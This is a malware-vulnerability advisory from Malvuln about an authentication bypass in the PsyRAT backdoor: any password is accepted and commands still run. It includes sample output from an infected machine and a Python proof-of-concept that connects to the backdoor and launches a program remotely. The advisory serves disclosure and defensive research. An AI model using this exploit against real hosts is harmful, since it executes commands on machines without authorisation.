Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/0e6e40aad3e8d46e3c0c26ccc6ab94b3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.ju (PSYRAT)
Vulnerability: Authentication Bypass RCE
Family: PSYRAT
Type: PE32
MD5: 0e6e40aad3e8d46e3c0c26ccc6ab94b3
Vuln ID: MVID-2024-0677
Disclosure: 04/01/2024

Description: The PsyRAT 0.01 malware listens on random high TCP ports 53297, 53211, 532116 and so forth. Connecting to an infected host returns a logon prompt for PASS. However, you can enter anything or nothing at all and execute commands made available by the backdoor. The malware will return a BADPWD and or "Invalid command" error string but the command executes regardless. Custom client is required as it seems to dislike CRLF \r\n characters when using netcat or telnet.

getdrives 
C\ - Fixed Drive^D\ - CD-ROM^

cpuinfo 
Windows Version |System Directory C\WINDOWS\system32|Computer Name DESKTOP-2C4IQJO|Username VICTIM|CPU Speed 2808 MHz|CPU Type GenuineIntel|------|PsyRAT Version PsyRAT 1.02|IP/Port 192.168.18.130|Password |Install name |Reg value |PHP URL

exe_sho [Program_Name] starts a program 

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=55116

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

#send bad password
PAYLOAD="malvuln" 
s.send(PAYLOAD.encode())

#call commands
PAYLOAD="exe_sho calc" 
s.send(PAYLOAD.encode())

s.close()


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